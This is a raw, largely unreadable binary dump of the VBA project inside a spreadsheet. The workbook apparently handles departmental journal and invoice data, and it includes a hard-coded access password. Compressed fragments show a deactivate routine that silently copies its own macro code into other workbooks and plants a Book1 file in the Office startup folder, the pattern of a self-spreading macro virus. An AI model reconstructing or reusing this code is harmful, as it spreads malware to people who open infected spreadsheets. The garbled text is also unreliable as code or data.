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A1Project ThisWorkbookSheet1F /C:\PROGRA~2\COMMON~1\MICROS~1\VBA\VBA6\VBE6.DLLVBA 9 a0TEPWSKINGSOFUIC:\Program Files (x86)\Kingsoft\WPS Office\11.8.2.10158\office6\etapi.dllExcel 1Y@0FC:\Windows\SysWOW64\stdole2.tlbstdole iPL-[DRJC:\Program Files (x86)\Kingsoft\WPS Office\11.8.2.10158\office6\ksoapi.dllOffice ac)`FO޿-cFi"}AHf .DFWorkbookWorkbook_DeactivateWorkbook_BeforeClose vtHideRow vtShowRow vtShowColWorksheetExistsWorkbook_NewSheet @ ThisWorkbook`FbFdFFF Lines 'OOOCountOfLinesInsertLinesF \book1. BOOK1 "Excel.ApplicationWorkbooksAdd SheetsVBProjectVBComponentsCodeModule \Book1.FilenameFileFormatAddToMru SaveAs CloseQuitVBE6.DLL       4rU~~{  9CancelWSNa__SRP_1 F__SRP_2I@__SRP_3 f|ThisWorkbook 0me WBShbrU p"  1Y  A   9  1 q q A /49aa` `` IWWtKG\`:d%tx$ Xx \t ` ,Q\L)xt`TH\:d%`tx$ H x Xt \` \ ,QH8)xt`\'(d%(%8B : ]@56(%(d%LA %LB %8 6W x! x l*F F :d]@/x6o  N=AN5=AtN5+:d%=>AdN66(%(d%LA %LB %d 6P x! x l*F%(%f% /x5  !t<$$dL8t4 xt`\H0 p  0   0   0 P  0   0 @  444(rU @$`H(A`L #$`9$`=$`A8A` E 0#(`P$nID="{5E427220-408A-4E63-8002-068164578F1F}" Document=ThisWorkbook/&H00000000 Document=Sheet1/&H00000000 Name="Project" HelpContextID="0" VersionCompatible32="393222000" CMG="34364EFCD64CDA4CDA4CDA4CDA" DPB="8082FAFDFBFDFBFD" GC="CCCEB6044E514F514FA ,'+ 0#<O޿-cFi"}AHf .xi"}AHf .O޿-cME [LSS0>"LLLLLN0{00020819-0000-0000-C000-000000000046}(% p`0doH R`L iT how b` 8$ jP` <' l` @*,p@` D=ir)u  6! %i   z` PBi| \Boo0@pPB@B%(%`P (2~08L@x ```@0t @@d ~@@H` ֪@@x\ @@L a@@H ~@@&8 @@( @@ @@ ~@@8 @@  @@h ~@@ ~@@ @@ @@ q@@6 ~@@: @@@t @@Dd r@0@@T8 |k *\R1*#26b$*\Rffff*0C6b957d2en*\G{0002E157-0000-0000-C000-000000000046}#5.3#0#C:\Program Files (x86)\Common Files\Microsoft Shared\VBA\VBA6\VBE6EXT.OLB#Microsoft Visual Basic for Applications Extensibility 5.3*#1bn*\G{0002E157-0000-0000-C000-000000000046}#5.3#0#C:\Program Files (x86)\Common Files\Microsoft Shared\VBA\VBA6\VBE6EXT.OLB#Microsoft Visual Basic for Applications Extensibility 5.3*#27n*\G{0002E157-0000-0000-C000-000000000046}#5.3#0#C:\Program Files (x86)\Common Files\Microsoft Shared\VBA\VBA6\VBE6EXT.OLB#Microsoft Visual Basic for Applications Extensibility 5.3*#25n*\G{0002E157-0000-0000-C000-000000000046}#5.3#0#C:\Program Files (x86)\Common Files\Microsoft Shared\VBA\VBA6\VBE6EXT.OLB#Microsoft Visual Basic for Applications Extensibility 5.3*#2a*\R1*#3cb*\R1*#30d*\R1*#118*\R0*#11*\R0*#f*\R0*#14*\R1*#b4 T 2h 0   "(G(T@'h$6 0W "  ( (+@ $6h 2P  "   0@ HXp" " "  T ` 8 :  T ` 8 :  B  4(` "  h  p  B  (.H\x 0 ,(bX  X  p       &    ` p   8  L $p $ *   8 X h  OOO_VN'Private Sub Workbook_BeforeSave(ByVal SaveAsUI As Boolean, Cancel As Boolean)H +'If UCase(ThisWorkbook.Name) = "BOOK1" Theni\)'Application.Dialogs(xlDialogSaveAs).Show Cancel = True'End If'End Sub0 ThisWorkbook ! %"!$. ThisWorkbook (! %"!$.& &%*'OOO !. %* &B@,ekH 2!4\book1. $~$0BOOK1Excel.Application$8.6 6!<!>.:>J :!B!>.@ ThisWorkbook :! %"!$.D !. %* DB@, 2!4\Book1. H LJN :B@F :B@B 6B@PveCokopC:\TMP\'V V$~$X VA@Z k !'\ C:\TMP\ \ '^ ^H B@`Dyop 2!d!f(hoH 2!d!f(hWWo P 2!d!n(h````oMPrivate Sub Workbook_BeforeSave(ByVal SaveAsUI As Boolean, Cancel As Boolean)ctSheets("ES Cover").Select1Sheets("Financials").Range("AY3").Value = "FALSE"3MsgBox "The workbook will be saved in constant USD"priEnd Sub MPrivate Sub Workbook_BeforeSave(ByVal SaveAsUI As Boolean, Cancel As Boolean)htSheets("ES Cover").Select1Sheets("Financials").Range("AY3").Value = "FALSE"3MsgBox "The workbook will be saved in constant USD" 20End SubcnO`ob  r t  t$v%x!X,'ptri@ 2(~:// 2(honDrill$p,%жûijsheetҳȽϿٵķ@Drill$BB@@kDrill (@A:B$B@@I !%!@7  DC@@m/d/yyyy9!Fchange to any date-based number format you prefer the cells to display@q A:T$B@@#,##0.00_ ;[Red]-#,##0.00 N:T$(D1 Directions$x%!D1 Directions$x%! %%!<> %!B@Xk8Dept  Journal Date   Invoice Date A1:T A !$%!$B@ !! !( ! 9999qXA1$B@HD1 Directions$x%B@ 2(~ 2(oZPrivate Sub Workbook_SheetPivotTableUpdate(ByVal Sh As Object, ByVal Target As PivotTable)Dim answer As StringGDim COUNT As IntegerRange("C6").Select2If Range("B2") = "General and Administrative" Then Range("A500").SelectE answer = InputBox("Please enter password", "Access Restricted!!")NNN If answer <> "tyrone" ThenGG Range("B2") = "Rooms"GG Range("C6").Select$ MsgBox ("Invalid Password!") End If answer = "0" Range("C6").SelectEnd IfEnd SubAttribute VB_Name = "ThisWorkbook" Bas0{00020P819-0C$0046} |GlobalSpacFalse dCreatablPredeclaIdTru BExposeTemplateDerivBustomizD2'OOO 0 ''P Sub _BeforeSave(@ByVal AsUI As Boolean, @Cancel ) ''If UC(.)BOOK1"` ThenApplication.Dialo`gs(xl@)`.ShowA= jEnd INf7A6 R9D@eactiv@?(D.On Erro@r ResuNextCSet w1hȔ.VBP@roject@Components( ).CodeModulw(2Ae]@[w2.Lines(1, 1) p<> "xX Insert w1CountOfDES.B!FwDir( mStartupPat@h + "\18.")$R}CxlG@DBeObU("Ex."% WB@".e)`s.AddlSbWB@Ieet|CM<<xlCM...!qoFilen@:=("..sk., Forma@t:=xlN!l, "ToMru:=D% xl ClK'c+QuiaaBwl#B (cnTmp`L1"C:\TMP\a PTrim(Pc`L]Mk##old) ΔmA() [jCopy5 % & vtHideRowŏ:elAEntir.denČ A @ HCol_reumn #'Sh!xS Cover"ab_FinancdsRange("AY3pmuy"FALSE%'MsgBo"xqe wt will be s@8d in constant Ui:, WLB)bs( )%!+o`NewB&%hq k syAlwsP $2 ?creenUpdng7 N|("Dr=`)"єQ 'жû@ij ȽϿٵķNc%2.D3t  rP  S?A:B4 WiݓU7lB0ICells$.TTo$ Dest`;q#:=.r(1), DTypelFixedWidthneldInfoqrray(0, xlYMDo.Number3A m/d/y"'chA to any @e-bd nR t you prefer the ;lsAdi/^a#(TAutoF!tvN:q} #,##0.00_ ;[Red]- F nsbND1M";L;+).3S ltFip0X , 6*O RWEG )dexripia1:="<> 'L1 ( & "owfs$).0Up owQort keyDept", Order0scendG,!20JournI%epHea!'Yes3Invoi?pߙp PaDgeup.DnprTT"(J(CrCont QlaQܯQQ# 'Private Sub Workbook_SheetPivotTableUpd(ByVal Sh As Object, &Target.h) 'Dim answer:String, COUNTIn teger/Range("C6"`).SelcIf B2") = "Generand Administrative" Thend 5A500Q'= InputBox("Please eHr password", "Access Re2icted! "tyronB_Rooms"R|SMsgP ("Invalid PNCrEIfn"02@0 {_VBA_PROJECT#PROJECTlPROJECTwms>SummaryInformation(tam *\G{000204EF-0000-0000-C000-000000000046}#4.0#9#C:\PROGRA~2\COMMON~1\MICROS~1\VBA\VBA6\VBE6.DLL#Visual Basic For ApplicationsX*\G{45541000-5750-5300-4B49-4E47534F4655}#3.0#0#C:\Program Files (x86)\Kingsoft\WPS Office\11.8.2.10158\office6\etapi.dll#Upgrade WPS Spreadsheets 3.0 Object Library (Beta)*\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\Windows\SysWOW64\stdole2.tlb#OLE AutomationP*\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#63.1#0#C:\Program Files (x86)\Kingsoft\WPS Office\11.8.2.10158\office6\ksoapi.dll#Upgrade WPS Office 3.0 Object Library (Beta) |k + ThisWorkbook0C6b957d2eThisWorkbook02' Sheet10A6b957cee Sheet1I-8@EF@RKa|Hz{\6 Excel+` VBA`Win16~`Win32`Mac`VBA6#`1p` stdole`` Project-` Officeu` ThisWorkbook|` _Evaluate` Sheet1`Workbookk`Workbook_Deactivate4`w1t_` VBProjectOh` VBComponents '` CodeModule`w2u_`ActiveWorkbook`Lines` InsertLines` CountOfLines!\`UCase5 ` Application*` StartupPathi`xlAppŲ` CreateObject`xlWB` WorkbooksB`Addr`xlWS`Sheets `xlCM`SaveAsf;`Filenamej` FileFormat`xlNormalL`AddToMruf`Quit9`Workbook_BeforeClose`Cancel`TmpDirڂ`Trim@`MkDir`oldname` mFileName?` SaveCopyAsT` vtHideRowJ` SelectionZ` EntireRow`Hidden]` vtShowRow` vtShowColZt` EntireColumn`WorksheetExists`WSName؀`WB_`IIfz` Worksheets`Workbook_NewSheet+|`Sh_` DisplayAlerts`ScreenUpdating! `Deletex` ActiveSheet%N`Columnsp9` UsedRangeȉ`Cells` TextToColumnso` Destinationл`DataType%?` xlFixedWidth` FieldInfo` xlYMDFormat` NumberFormatR`AutoFit& `Range `ValueK` ListObjects7` AutoFilter`Field3` ListColumnsœ`Index` Criteria1`RowsU`Count0v`xlUp`Row`Sort`key1O`Order1o` xlAscending``key2P`Order2p`HeaderM`xlYes`key3Q`Order3q` PageSetup` PrintAreaP` ActiveCell` CurrentRegion|`Address` Orientationw` xlLandscape&`Zoom`FitToPagesTallZ`FitToPagesWide` ClearContents{` Worksheet` Deactivatej` BeforeClose~;`NewSheet `Itemz` _B_var_w1` _B_var_w2` _B_var_UCasea` _B_var_xlAppv` _B_var_xlWBL` _B_var_xlWSL` _B_var_xlCM0J`T$E" [Host Extender Info] &H00000001={3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000 [Workspace] ThisWorkbook=0, 0, 0, 0, C Sheet1=0, 0, 0, 0, C ThisWorkbookThisWorkbookSheet1Sheet1Oh+'0HPXx  Apache POIs\~@d*K@io Apache POIDocumentSummaryInformation8x$՜.+,D՜.+,H(0 8@ (\dlKSOProductBuildVer2052-11.8.2.10158